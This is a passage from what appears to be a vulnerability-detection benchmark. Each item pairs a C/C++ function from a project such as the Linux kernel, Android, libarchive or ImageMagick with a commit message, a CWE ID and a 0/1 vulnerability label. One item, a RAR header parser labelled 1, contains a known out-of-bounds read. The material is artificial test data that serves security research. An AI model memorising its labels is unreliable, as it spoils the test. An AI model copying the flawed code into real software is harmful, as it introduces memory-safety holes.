Cc: Mateusz Guzik <mguzik@redhat.com>
Cc: Alexey Dobriyan <adobriyan@gmail.com>
Cc: Cyrill Gorcunov <gorcunov@openvz.org>
Cc: Jarod Wilson <jarod@redhat.com>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-362
| 0
| 20,058
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: WORD32 ih264d_deblock_display(dec_struct_t *ps_dec)
{
WORD32 ret;
/* Call deblocking */
ih264d_deblock_picture(ps_dec);
ret = ih264d_end_of_pic_dispbuf_mgr(ps_dec);
if(ret != OK)
return ret;
return OK;
}
Commit Message: Decoder: Initialize first_pb_nal_in_pic for error slices
first_pb_nal_in_pic was uninitialized for error clips
Bug: 29023649
Change-Id: Ie4e0a94059c5f675bf619e31534846e2c2ca58ae
CWE ID: CWE-172
| 0
| 413
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: status_t ATSParser::parsePID(
ABitReader *br, unsigned PID,
unsigned continuity_counter,
unsigned payload_unit_start_indicator,
SyncEvent *event) {
ssize_t sectionIndex = mPSISections.indexOfKey(PID);
if (sectionIndex >= 0) {
sp<PSISection> section = mPSISections.valueAt(sectionIndex);
if (payload_unit_start_indicator) {
if (!section->isEmpty()) {
ALOGW("parsePID encounters payload_unit_start_indicator when section is not empty");
section->clear();
}
unsigned skip = br->getBits(8);
section->setSkipBytes(skip + 1); // skip filler bytes + pointer field itself
br->skipBits(skip * 8);
}
if (br->numBitsLeft() % 8 != 0) {
return ERROR_MALFORMED;
}
status_t err = section->append(br->data(), br->numBitsLeft() / 8);
if (err != OK) {
return err;
}
if (!section->isComplete()) {
return OK;
}
if (!section->isCRCOkay()) {
return BAD_VALUE;
}
ABitReader sectionBits(section->data(), section->size());
if (PID == 0) {
parseProgramAssociationTable(§ionBits);
} else {
bool handled = false;
for (size_t i = 0; i < mPrograms.size(); ++i) {
status_t err;
if (!mPrograms.editItemAt(i)->parsePSISection(
PID, §ionBits, &err)) {
continue;
}
if (err != OK) {
return err;
}
handled = true;
break;
}
if (!handled) {
mPSISections.removeItem(PID);
section.clear();
}
}
if (section != NULL) {
section->clear();
}
return OK;
}
bool handled = false;
for (size_t i = 0; i < mPrograms.size(); ++i) {
status_t err;
if (mPrograms.editItemAt(i)->parsePID(
PID, continuity_counter, payload_unit_start_indicator,
br, &err, event)) {
if (err != OK) {
return err;
}
handled = true;
break;
}
}
if (!handled) {
ALOGV("PID 0x%04x not handled.", PID);
}
return OK;
}
Commit Message: Check section size when verifying CRC
Bug: 28333006
Change-Id: Ief7a2da848face78f0edde21e2f2009316076679
CWE ID: CWE-119
| 0
| 8,878
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void tg3_poll_link(struct tg3 *tp)
{
/* handle link change and other phy events */
if (!(tg3_flag(tp, USE_LINKCHG_REG) || tg3_flag(tp, POLL_SERDES))) {
struct tg3_hw_status *sblk = tp->napi[0].hw_status;
if (sblk->status & SD_STATUS_LINK_CHG) {
sblk->status = SD_STATUS_UPDATED |
(sblk->status & ~SD_STATUS_LINK_CHG);
spin_lock(&tp->lock);
if (tg3_flag(tp, USE_PHYLIB)) {
tw32_f(MAC_STATUS,
(MAC_STATUS_SYNC_CHANGED |
MAC_STATUS_CFG_CHANGED |
MAC_STATUS_MI_COMPLETION |
MAC_STATUS_LNKSTATE_CHANGED));
udelay(40);
} else
tg3_setup_phy(tp, 0);
spin_unlock(&tp->lock);
}
}
}
Commit Message: tg3: fix length overflow in VPD firmware parsing
Commit 184b89044fb6e2a74611dafa69b1dce0d98612c6 ("tg3: Use VPD fw version
when present") introduced VPD parsing that contained a potential length
overflow.
Limit the hardware's reported firmware string length (max 255 bytes) to
stay inside the driver's firmware string length (32 bytes). On overflow,
truncate the formatted firmware string instead of potentially overwriting
portions of the tg3 struct.
http://cansecwest.com/slides/2013/PrivateCore%20CSW%202013.pdf
Signed-off-by: Kees Cook <keescook@chromium.org>
Reported-by: Oded Horovitz <oded@privatecore.com>
Reported-by: Brad Spengler <spender@grsecurity.net>
Cc: stable@vger.kernel.org
Cc: Matt Carlson <mcarlson@broadcom.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-119
| 0
| 4,632
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static struct kvm_lpage_info *lpage_info_slot(gfn_t gfn,
struct kvm_memory_slot *slot,
int level)
{
unsigned long idx;
idx = gfn_to_index(gfn, slot->base_gfn, level);
return &slot->arch.lpage_info[level - 2][idx];
}
Commit Message: nEPT: Nested INVEPT
If we let L1 use EPT, we should probably also support the INVEPT instruction.
In our current nested EPT implementation, when L1 changes its EPT table
for L2 (i.e., EPT12), L0 modifies the shadow EPT table (EPT02), and in
the course of this modification already calls INVEPT. But if last level
of shadow page is unsync not all L1's changes to EPT12 are intercepted,
which means roots need to be synced when L1 calls INVEPT. Global INVEPT
should not be different since roots are synced by kvm_mmu_load() each
time EPTP02 changes.
Reviewed-by: Xiao Guangrong <xiaoguangrong@linux.vnet.ibm.com>
Signed-off-by: Nadav Har'El <nyh@il.ibm.com>
Signed-off-by: Jun Nakajima <jun.nakajima@intel.com>
Signed-off-by: Xinhao Xu <xinhao.xu@intel.com>
Signed-off-by: Yang Zhang <yang.z.zhang@Intel.com>
Signed-off-by: Gleb Natapov <gleb@redhat.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-20
| 0
| 5,915
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void LayerTreeHost::Composite(base::TimeTicks frame_begin_time) {
if (!proxy_->HasImplThread())
static_cast<SingleThreadProxy*>(proxy_.get())->CompositeImmediately(
frame_begin_time);
else
SetNeedsCommit();
}
Commit Message: Removed pinch viewport scroll offset distribution
The associated change in Blink makes the pinch viewport a proper
ScrollableArea meaning the normal path for synchronizing layer scroll
offsets is used.
This is a 2 sided patch, the other CL:
https://codereview.chromium.org/199253002/
BUG=349941
Review URL: https://codereview.chromium.org/210543002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@260105 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399
| 0
| 15,891
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void Gfx::opRectangle(Object args[], int numArgs) {
double x, y, w, h;
x = args[0].getNum();
y = args[1].getNum();
w = args[2].getNum();
h = args[3].getNum();
state->moveTo(x, y);
state->lineTo(x + w, y);
state->lineTo(x + w, y + h);
state->lineTo(x, y + h);
state->closePath();
}
Commit Message:
CWE ID: CWE-20
| 0
| 15,575
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static MagickBooleanType JPEGWarningHandler(j_common_ptr jpeg_info,int level)
{
#define JPEGExcessiveWarnings 1000
char
message[JMSG_LENGTH_MAX];
ErrorManager
*error_manager;
ExceptionInfo
*exception;
Image
*image;
*message='\0';
error_manager=(ErrorManager *) jpeg_info->client_data;
exception=error_manager->exception;
image=error_manager->image;
if (level < 0)
{
/*
Process warning message.
*/
(jpeg_info->err->format_message)(jpeg_info,message);
if (jpeg_info->err->num_warnings++ < JPEGExcessiveWarnings)
ThrowBinaryException(CorruptImageWarning,(char *) message,
image->filename);
}
else
if ((image->debug != MagickFalse) &&
(level >= jpeg_info->err->trace_level))
{
/*
Process trace message.
*/
(jpeg_info->err->format_message)(jpeg_info,message);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
"[%s] JPEG Trace: \"%s\"",image->filename,message);
}
return(MagickTrue);
}
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/1641
CWE ID:
| 0
| 11,897
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static struct resource *additional_memory_resource(phys_addr_t size)
{
struct resource *res;
int ret;
res = kzalloc(sizeof(*res), GFP_KERNEL);
if (!res)
return NULL;
res->name = "System RAM";
res->flags = IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY;
ret = allocate_resource(&iomem_resource, res,
size, 0, -1,
PAGES_PER_SECTION * PAGE_SIZE, NULL, NULL);
if (ret < 0) {
pr_err("Cannot allocate new System RAM resource\n");
kfree(res);
return NULL;
}
#ifdef CONFIG_SPARSEMEM
{
unsigned long limit = 1UL << (MAX_PHYSMEM_BITS - PAGE_SHIFT);
unsigned long pfn = res->start >> PAGE_SHIFT;
if (pfn > limit) {
pr_err("New System RAM resource outside addressable RAM (%lu > %lu)\n",
pfn, limit);
release_memory_resource(res);
return NULL;
}
}
#endif
return res;
}
Commit Message: xen: let alloc_xenballooned_pages() fail if not enough memory free
commit a1078e821b605813b63bf6bca414a85f804d5c66 upstream.
Instead of trying to allocate pages with GFP_USER in
add_ballooned_pages() check the available free memory via
si_mem_available(). GFP_USER is far less limiting memory exhaustion
than the test via si_mem_available().
This will avoid dom0 running out of memory due to excessive foreign
page mappings especially on ARM and on x86 in PVH mode, as those don't
have a pre-ballooned area which can be used for foreign mappings.
As the normal ballooning suffers from the same problem don't balloon
down more than si_mem_available() pages in one iteration. At the same
time limit the default maximum number of retries.
This is part of XSA-300.
Signed-off-by: Juergen Gross <jgross@suse.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-400
| 0
| 17,655
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void jpc_qmfb_split_row(jpc_fix_t *a, int numcols, int parity)
{
int bufsize = JPC_CEILDIVPOW2(numcols, 1);
jpc_fix_t splitbuf[QMFB_SPLITBUFSIZE];
jpc_fix_t *buf = splitbuf;
register jpc_fix_t *srcptr;
register jpc_fix_t *dstptr;
register int n;
register int m;
int hstartcol;
/* Get a buffer. */
if (bufsize > QMFB_SPLITBUFSIZE) {
if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
/* We have no choice but to commit suicide in this case. */
abort();
}
}
if (numcols >= 2) {
hstartcol = (numcols + 1 - parity) >> 1;
m = numcols - hstartcol;
/* Save the samples destined for the highpass channel. */
n = m;
dstptr = buf;
srcptr = &a[1 - parity];
while (n-- > 0) {
*dstptr = *srcptr;
++dstptr;
srcptr += 2;
}
/* Copy the appropriate samples into the lowpass channel. */
dstptr = &a[1 - parity];
srcptr = &a[2 - parity];
n = numcols - m - (!parity);
while (n-- > 0) {
*dstptr = *srcptr;
++dstptr;
srcptr += 2;
}
/* Copy the saved samples into the highpass channel. */
dstptr = &a[hstartcol];
srcptr = buf;
n = m;
while (n-- > 0) {
*dstptr = *srcptr;
++dstptr;
++srcptr;
}
}
/* If the split buffer was allocated on the heap, free this memory. */
if (buf != splitbuf) {
jas_free(buf);
}
}
Commit Message: Fixed a buffer overrun problem in the QMFB code in the JPC codec
that was caused by a buffer being allocated with a size that was too small
in some cases.
Added a new regression test case.
CWE ID: CWE-119
| 0
| 19,922
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: read_header(struct archive_read *a, struct archive_entry *entry,
char head_type)
{
const void *h;
const char *p, *endp;
struct rar *rar;
struct rar_header rar_header;
struct rar_file_header file_header;
int64_t header_size;
unsigned filename_size, end;
char *filename;
char *strp;
char packed_size[8];
char unp_size[8];
int ttime;
struct archive_string_conv *sconv, *fn_sconv;
unsigned long crc32_val;
int ret = (ARCHIVE_OK), ret2;
rar = (struct rar *)(a->format->data);
/* Setup a string conversion object for non-rar-unicode filenames. */
sconv = rar->opt_sconv;
if (sconv == NULL) {
if (!rar->init_default_conversion) {
rar->sconv_default =
archive_string_default_conversion_for_read(
&(a->archive));
rar->init_default_conversion = 1;
}
sconv = rar->sconv_default;
}
if ((h = __archive_read_ahead(a, 7, NULL)) == NULL)
return (ARCHIVE_FATAL);
p = h;
memcpy(&rar_header, p, sizeof(rar_header));
rar->file_flags = archive_le16dec(rar_header.flags);
header_size = archive_le16dec(rar_header.size);
if (header_size < (int64_t)sizeof(file_header) + 7) {
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Invalid header size");
return (ARCHIVE_FATAL);
}
crc32_val = crc32(0, (const unsigned char *)p + 2, 7 - 2);
__archive_read_consume(a, 7);
if (!(rar->file_flags & FHD_SOLID))
{
rar->compression_method = 0;
rar->packed_size = 0;
rar->unp_size = 0;
rar->mtime = 0;
rar->ctime = 0;
rar->atime = 0;
rar->arctime = 0;
rar->mode = 0;
memset(&rar->salt, 0, sizeof(rar->salt));
rar->atime = 0;
rar->ansec = 0;
rar->ctime = 0;
rar->cnsec = 0;
rar->mtime = 0;
rar->mnsec = 0;
rar->arctime = 0;
rar->arcnsec = 0;
}
else
{
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"RAR solid archive support unavailable.");
return (ARCHIVE_FATAL);
}
if ((h = __archive_read_ahead(a, (size_t)header_size - 7, NULL)) == NULL)
return (ARCHIVE_FATAL);
/* File Header CRC check. */
crc32_val = crc32(crc32_val, h, (unsigned)(header_size - 7));
if ((crc32_val & 0xffff) != archive_le16dec(rar_header.crc)) {
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Header CRC error");
return (ARCHIVE_FATAL);
}
/* If no CRC error, Go on parsing File Header. */
p = h;
endp = p + header_size - 7;
memcpy(&file_header, p, sizeof(file_header));
p += sizeof(file_header);
rar->compression_method = file_header.method;
ttime = archive_le32dec(file_header.file_time);
rar->mtime = get_time(ttime);
rar->file_crc = archive_le32dec(file_header.file_crc);
if (rar->file_flags & FHD_PASSWORD)
{
archive_entry_set_is_data_encrypted(entry, 1);
rar->has_encrypted_entries = 1;
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"RAR encryption support unavailable.");
/* Since it is only the data part itself that is encrypted we can at least
extract information about the currently processed entry and don't need
to return ARCHIVE_FATAL here. */
/*return (ARCHIVE_FATAL);*/
}
if (rar->file_flags & FHD_LARGE)
{
memcpy(packed_size, file_header.pack_size, 4);
memcpy(packed_size + 4, p, 4); /* High pack size */
p += 4;
memcpy(unp_size, file_header.unp_size, 4);
memcpy(unp_size + 4, p, 4); /* High unpack size */
p += 4;
rar->packed_size = archive_le64dec(&packed_size);
rar->unp_size = archive_le64dec(&unp_size);
}
else
{
rar->packed_size = archive_le32dec(file_header.pack_size);
rar->unp_size = archive_le32dec(file_header.unp_size);
}
if (rar->packed_size < 0 || rar->unp_size < 0)
{
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Invalid sizes specified.");
return (ARCHIVE_FATAL);
}
rar->bytes_remaining = rar->packed_size;
/* TODO: RARv3 subblocks contain comments. For now the complete block is
* consumed at the end.
*/
if (head_type == NEWSUB_HEAD) {
size_t distance = p - (const char *)h;
header_size += rar->packed_size;
/* Make sure we have the extended data. */
if ((h = __archive_read_ahead(a, (size_t)header_size - 7, NULL)) == NULL)
return (ARCHIVE_FATAL);
p = h;
endp = p + header_size - 7;
p += distance;
}
filename_size = archive_le16dec(file_header.name_size);
if (p + filename_size > endp) {
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Invalid filename size");
return (ARCHIVE_FATAL);
}
if (rar->filename_allocated < filename_size * 2 + 2) {
char *newptr;
size_t newsize = filename_size * 2 + 2;
newptr = realloc(rar->filename, newsize);
if (newptr == NULL) {
archive_set_error(&a->archive, ENOMEM,
"Couldn't allocate memory.");
return (ARCHIVE_FATAL);
}
rar->filename = newptr;
rar->filename_allocated = newsize;
}
filename = rar->filename;
memcpy(filename, p, filename_size);
filename[filename_size] = '\0';
if (rar->file_flags & FHD_UNICODE)
{
if (filename_size != strlen(filename))
{
unsigned char highbyte, flagbits, flagbyte;
unsigned fn_end, offset;
end = filename_size;
fn_end = filename_size * 2;
filename_size = 0;
offset = (unsigned)strlen(filename) + 1;
highbyte = *(p + offset++);
flagbits = 0;
flagbyte = 0;
while (offset < end && filename_size < fn_end)
{
if (!flagbits)
{
flagbyte = *(p + offset++);
flagbits = 8;
}
flagbits -= 2;
switch((flagbyte >> flagbits) & 3)
{
case 0:
filename[filename_size++] = '\0';
filename[filename_size++] = *(p + offset++);
break;
case 1:
filename[filename_size++] = highbyte;
filename[filename_size++] = *(p + offset++);
break;
case 2:
filename[filename_size++] = *(p + offset + 1);
filename[filename_size++] = *(p + offset);
offset += 2;
break;
case 3:
{
char extra, high;
uint8_t length = *(p + offset++);
if (length & 0x80) {
extra = *(p + offset++);
high = (char)highbyte;
} else
extra = high = 0;
length = (length & 0x7f) + 2;
while (length && filename_size < fn_end) {
unsigned cp = filename_size >> 1;
filename[filename_size++] = high;
filename[filename_size++] = p[cp] + extra;
length--;
}
}
break;
}
}
if (filename_size > fn_end) {
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Invalid filename");
return (ARCHIVE_FATAL);
}
filename[filename_size++] = '\0';
filename[filename_size++] = '\0';
/* Decoded unicode form is UTF-16BE, so we have to update a string
* conversion object for it. */
if (rar->sconv_utf16be == NULL) {
rar->sconv_utf16be = archive_string_conversion_from_charset(
&a->archive, "UTF-16BE", 1);
if (rar->sconv_utf16be == NULL)
return (ARCHIVE_FATAL);
}
fn_sconv = rar->sconv_utf16be;
strp = filename;
while (memcmp(strp, "\x00\x00", 2))
{
if (!memcmp(strp, "\x00\\", 2))
*(strp + 1) = '/';
strp += 2;
}
p += offset;
} else {
/*
* If FHD_UNICODE is set but no unicode data, this file name form
* is UTF-8, so we have to update a string conversion object for
* it accordingly.
*/
if (rar->sconv_utf8 == NULL) {
rar->sconv_utf8 = archive_string_conversion_from_charset(
&a->archive, "UTF-8", 1);
if (rar->sconv_utf8 == NULL)
return (ARCHIVE_FATAL);
}
fn_sconv = rar->sconv_utf8;
while ((strp = strchr(filename, '\\')) != NULL)
*strp = '/';
p += filename_size;
}
}
else
{
fn_sconv = sconv;
while ((strp = strchr(filename, '\\')) != NULL)
*strp = '/';
p += filename_size;
}
/* Split file in multivolume RAR. No more need to process header. */
if (rar->filename_save &&
filename_size == rar->filename_save_size &&
!memcmp(rar->filename, rar->filename_save, filename_size + 1))
{
__archive_read_consume(a, header_size - 7);
rar->cursor++;
if (rar->cursor >= rar->nodes)
{
rar->nodes++;
if ((rar->dbo =
realloc(rar->dbo, sizeof(*rar->dbo) * rar->nodes)) == NULL)
{
archive_set_error(&a->archive, ENOMEM, "Couldn't allocate memory.");
return (ARCHIVE_FATAL);
}
rar->dbo[rar->cursor].header_size = header_size;
rar->dbo[rar->cursor].start_offset = -1;
rar->dbo[rar->cursor].end_offset = -1;
}
if (rar->dbo[rar->cursor].start_offset < 0)
{
rar->dbo[rar->cursor].start_offset = a->filter->position;
rar->dbo[rar->cursor].end_offset = rar->dbo[rar->cursor].start_offset +
rar->packed_size;
}
return ret;
}
rar->filename_save = (char*)realloc(rar->filename_save,
filename_size + 1);
memcpy(rar->filename_save, rar->filename, filename_size + 1);
rar->filename_save_size = filename_size;
/* Set info for seeking */
free(rar->dbo);
if ((rar->dbo = calloc(1, sizeof(*rar->dbo))) == NULL)
{
archive_set_error(&a->archive, ENOMEM, "Couldn't allocate memory.");
return (ARCHIVE_FATAL);
}
rar->dbo[0].header_size = header_size;
rar->dbo[0].start_offset = -1;
rar->dbo[0].end_offset = -1;
rar->cursor = 0;
rar->nodes = 1;
if (rar->file_flags & FHD_SALT)
{
if (p + 8 > endp) {
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Invalid header size");
return (ARCHIVE_FATAL);
}
memcpy(rar->salt, p, 8);
p += 8;
}
if (rar->file_flags & FHD_EXTTIME) {
if (read_exttime(p, rar, endp) < 0) {
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Invalid header size");
return (ARCHIVE_FATAL);
}
}
__archive_read_consume(a, header_size - 7);
rar->dbo[0].start_offset = a->filter->position;
rar->dbo[0].end_offset = rar->dbo[0].start_offset + rar->packed_size;
switch(file_header.host_os)
{
case OS_MSDOS:
case OS_OS2:
case OS_WIN32:
rar->mode = archive_le32dec(file_header.file_attr);
if (rar->mode & FILE_ATTRIBUTE_DIRECTORY)
rar->mode = AE_IFDIR | S_IXUSR | S_IXGRP | S_IXOTH;
else
rar->mode = AE_IFREG;
rar->mode |= S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH;
break;
case OS_UNIX:
case OS_MAC_OS:
case OS_BEOS:
rar->mode = archive_le32dec(file_header.file_attr);
break;
default:
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Unknown file attributes from RAR file's host OS");
return (ARCHIVE_FATAL);
}
rar->bytes_uncopied = rar->bytes_unconsumed = 0;
rar->lzss.position = rar->offset = 0;
rar->offset_seek = 0;
rar->dictionary_size = 0;
rar->offset_outgoing = 0;
rar->br.cache_avail = 0;
rar->br.avail_in = 0;
rar->crc_calculated = 0;
rar->entry_eof = 0;
rar->valid = 1;
rar->is_ppmd_block = 0;
rar->start_new_table = 1;
free(rar->unp_buffer);
rar->unp_buffer = NULL;
rar->unp_offset = 0;
rar->unp_buffer_size = UNP_BUFFER_SIZE;
memset(rar->lengthtable, 0, sizeof(rar->lengthtable));
__archive_ppmd7_functions.Ppmd7_Free(&rar->ppmd7_context, &g_szalloc);
rar->ppmd_valid = rar->ppmd_eod = 0;
/* Don't set any archive entries for non-file header types */
if (head_type == NEWSUB_HEAD)
return ret;
archive_entry_set_mtime(entry, rar->mtime, rar->mnsec);
archive_entry_set_ctime(entry, rar->ctime, rar->cnsec);
archive_entry_set_atime(entry, rar->atime, rar->ansec);
archive_entry_set_size(entry, rar->unp_size);
archive_entry_set_mode(entry, rar->mode);
if (archive_entry_copy_pathname_l(entry, filename, filename_size, fn_sconv))
{
if (errno == ENOMEM)
{
archive_set_error(&a->archive, ENOMEM,
"Can't allocate memory for Pathname");
return (ARCHIVE_FATAL);
}
archive_set_error(&a->archive, ARCHIVE_ERRNO_FILE_FORMAT,
"Pathname cannot be converted from %s to current locale.",
archive_string_conversion_charset_name(fn_sconv));
ret = (ARCHIVE_WARN);
}
if (((rar->mode) & AE_IFMT) == AE_IFLNK)
{
/* Make sure a symbolic-link file does not have its body. */
rar->bytes_remaining = 0;
archive_entry_set_size(entry, 0);
/* Read a symbolic-link name. */
if ((ret2 = read_symlink_stored(a, entry, sconv)) < (ARCHIVE_WARN))
return ret2;
if (ret > ret2)
ret = ret2;
}
if (rar->bytes_remaining == 0)
rar->entry_eof = 1;
return ret;
}
Commit Message: Avoid a read off-by-one error for UTF16 names in RAR archives.
Reported-By: OSS-Fuzz issue 573
CWE ID: CWE-125
| 1
| 15,160
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int ip_vs_genl_del_daemon(struct nlattr **attrs)
{
if (!attrs[IPVS_DAEMON_ATTR_STATE])
return -EINVAL;
return stop_sync_thread(nla_get_u32(attrs[IPVS_DAEMON_ATTR_STATE]));
}
Commit Message: ipvs: Add boundary check on ioctl arguments
The ipvs code has a nifty system for doing the size of ioctl command
copies; it defines an array with values into which it indexes the cmd
to find the right length.
Unfortunately, the ipvs code forgot to check if the cmd was in the
range that the array provides, allowing for an index outside of the
array, which then gives a "garbage" result into the length, which
then gets used for copying into a stack buffer.
Fix this by adding sanity checks on these as well as the copy size.
[ horms@verge.net.au: adjusted limit to IP_VS_SO_GET_MAX ]
Signed-off-by: Arjan van de Ven <arjan@linux.intel.com>
Acked-by: Julian Anastasov <ja@ssi.bg>
Signed-off-by: Simon Horman <horms@verge.net.au>
Signed-off-by: Patrick McHardy <kaber@trash.net>
CWE ID: CWE-119
| 0
| 12,927
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ScopedFrameBufferBinder::ScopedFrameBufferBinder(GLES2DecoderImpl* decoder,
GLuint id)
: decoder_(decoder) {
ScopedGLErrorSuppressor suppressor(
"ScopedFrameBufferBinder::ctor", decoder_->GetErrorState());
glBindFramebufferEXT(GL_FRAMEBUFFER, id);
decoder->OnFboChanged();
}
Commit Message: Framebuffer clear() needs to consider the situation some draw buffers are disabled.
This is when we expose DrawBuffers extension.
BUG=376951
TEST=the attached test case, webgl conformance
R=kbr@chromium.org,bajones@chromium.org
Review URL: https://codereview.chromium.org/315283002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@275338 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
| 0
| 6,423
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int crypto_shash_final(struct shash_desc *desc, u8 *out)
{
struct crypto_shash *tfm = desc->tfm;
struct shash_alg *shash = crypto_shash_alg(tfm);
unsigned long alignmask = crypto_shash_alignmask(tfm);
if ((unsigned long)out & alignmask)
return shash_final_unaligned(desc, out);
return shash->final(desc, out);
}
Commit Message: crypto: user - fix info leaks in report API
Three errors resulting in kernel memory disclosure:
1/ The structures used for the netlink based crypto algorithm report API
are located on the stack. As snprintf() does not fill the remainder of
the buffer with null bytes, those stack bytes will be disclosed to users
of the API. Switch to strncpy() to fix this.
2/ crypto_report_one() does not initialize all field of struct
crypto_user_alg. Fix this to fix the heap info leak.
3/ For the module name we should copy only as many bytes as
module_name() returns -- not as much as the destination buffer could
hold. But the current code does not and therefore copies random data
from behind the end of the module name, as the module name is always
shorter than CRYPTO_MAX_ALG_NAME.
Also switch to use strncpy() to copy the algorithm's name and
driver_name. They are strings, after all.
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Cc: Steffen Klassert <steffen.klassert@secunet.com>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
CWE ID: CWE-310
| 0
| 23,073
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void Document::clearStyleResolver()
{
m_styleResolver.clear();
}
Commit Message: Refactoring: Move m_mayDisplaySeamlesslyWithParent down to Document
The member is used only in Document, thus no reason to
stay in SecurityContext.
TEST=none
BUG=none
R=haraken@chromium.org, abarth, haraken, hayato
Review URL: https://codereview.chromium.org/27615003
git-svn-id: svn://svn.chromium.org/blink/trunk@159829 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20
| 0
| 3,399
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: asn1_der_decoding (asn1_node * element, const void *ider, int ider_len,
char *errorDescription)
{
return asn1_der_decoding2 (element, ider, &ider_len, 0, errorDescription);
}
Commit Message:
CWE ID: CWE-399
| 0
| 950
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: DelayedExecutor::DelayedExecutor(const KServiceAction &service, Solid::Device &device)
: m_service(service)
{
if (device.is<Solid::StorageAccess>()
&& !device.as<Solid::StorageAccess>()->isAccessible()) {
Solid::StorageAccess *access = device.as<Solid::StorageAccess>();
connect(access, &Solid::StorageAccess::setupDone,
this, &DelayedExecutor::_k_storageSetupDone);
access->setup();
} else {
delayedExecute(device.udi());
}
}
Commit Message:
CWE ID: CWE-78
| 0
| 884
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: const char *avcodec_get_name(enum AVCodecID id)
{
const AVCodecDescriptor *cd;
AVCodec *codec;
if (id == AV_CODEC_ID_NONE)
return "none";
cd = avcodec_descriptor_get(id);
if (cd)
return cd->name;
av_log(NULL, AV_LOG_WARNING, "Codec 0x%x is not in the full list.\n", id);
codec = avcodec_find_decoder(id);
if (codec)
return codec->name;
codec = avcodec_find_encoder(id);
if (codec)
return codec->name;
return "unknown_codec";
}
Commit Message: avcodec/utils: correct align value for interplay
Fixes out of array access
Fixes: 452/fuzz-1-ffmpeg_VIDEO_AV_CODEC_ID_INTERPLAY_VIDEO_fuzzer
Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg
Signed-off-by: Michael Niedermayer <michael@niedermayer.cc>
CWE ID: CWE-787
| 0
| 13,317
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: nfsd4_decode_write(struct nfsd4_compoundargs *argp, struct nfsd4_write *write)
{
int avail;
int len;
DECODE_HEAD;
status = nfsd4_decode_stateid(argp, &write->wr_stateid);
if (status)
return status;
READ_BUF(16);
p = xdr_decode_hyper(p, &write->wr_offset);
write->wr_stable_how = be32_to_cpup(p++);
if (write->wr_stable_how > NFS_FILE_SYNC)
goto xdr_error;
write->wr_buflen = be32_to_cpup(p++);
/* Sorry .. no magic macros for this.. *
* READ_BUF(write->wr_buflen);
* SAVEMEM(write->wr_buf, write->wr_buflen);
*/
avail = (char*)argp->end - (char*)argp->p;
if (avail + argp->pagelen < write->wr_buflen) {
dprintk("NFSD: xdr error (%s:%d)\n",
__FILE__, __LINE__);
goto xdr_error;
}
write->wr_head.iov_base = p;
write->wr_head.iov_len = avail;
write->wr_pagelist = argp->pagelist;
len = XDR_QUADLEN(write->wr_buflen) << 2;
if (len >= avail) {
